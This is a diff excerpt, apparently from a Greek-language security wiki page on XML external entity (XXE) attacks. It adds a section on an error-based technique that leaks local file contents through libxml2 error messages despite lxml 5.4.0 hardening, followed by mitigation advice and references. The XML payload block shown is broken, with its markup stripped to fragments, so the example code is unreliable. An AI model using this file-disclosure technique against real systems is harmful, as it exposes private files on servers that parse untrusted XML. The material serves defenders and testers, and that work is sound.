υποσύνολο, κωδικοποιήστε τους διπλά (`&#x25;` ⇒ `%`) για να καθυστερήσετε την επέκταση. + +#### 2. Παράκαμψη της σκληροποίησης lxml 5.4.0 (libxml2 ακόμα ευάλωτο) +`lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως η παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να: +1. Διαβάσετε το αρχείο σε μια οντότητα παραμέτρου `%file`. +2. Δηλώσετε μια άλλη οντότητα παραμέτρου που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο προσδιοριστής SYSTEM χρησιμοποιεί ένα *ανύπαρκτο πρωτόκολλο* όπως `meow://%file;`. +3. Τοποθετήστε `&c;` στο σώμα XML. Όταν ο αναλυτής προσπαθεί να αποδεσμεύσει το `meow://…` αποτυγχάνει και ανακλά την πλήρη URI – συμπεριλαμβανομένων των περιεχομένων του αρχείου – στο μήνυμα σφάλματος. +```xml + +"> +'> +%a; %b; +]> +&c; +``` +#### Key takeaways +* **Οι οντότητες παραμέτρων** επεκτείνονται ακόμα από το libxml2, ακόμα και όταν το `resolve_entities` θα έπρεπε να μπλοκάρει το XXE. +* Μια **μη έγκυρη URI** ή **ανύπαρκτο αρχείο** είναι αρκετά για να συγχωνεύσουν ελεγχόμενα δεδομένα στην εκτινασσόμενη εξαίρεση. +* Η τεχνική λειτουργεί **χωρίς συνδεσιμότητα εξόδου**, καθιστώντας την ιδανική για περιβάλλοντα με αυστηρά φίλτρα εξόδου. + +#### Mitigation guidance +* Αναβαθμίστε σε **lxml ≥ 5.4.0** και βεβαιωθείτε ότι το υποκείμενο **libxml2** είναι **≥ 2.13.8**. +* Απενεργοποιήστε το `load_dtd` και/ή το `resolve_entities` εκτός αν είναι απολύτως απαραίτητο. +* Αποφύγετε την επιστροφή ωμών σφαλμάτων αναλυτή στον πελάτη. + ## References - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) -- Εξαγωγή πληροφοριών μέσω HTTP χρησιμοποιώντας το δικό σας εξωτερικό DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) +- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) - [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) - [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) - [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) +- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) +- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) + {{#include ../banners/hacktricks-training.md}}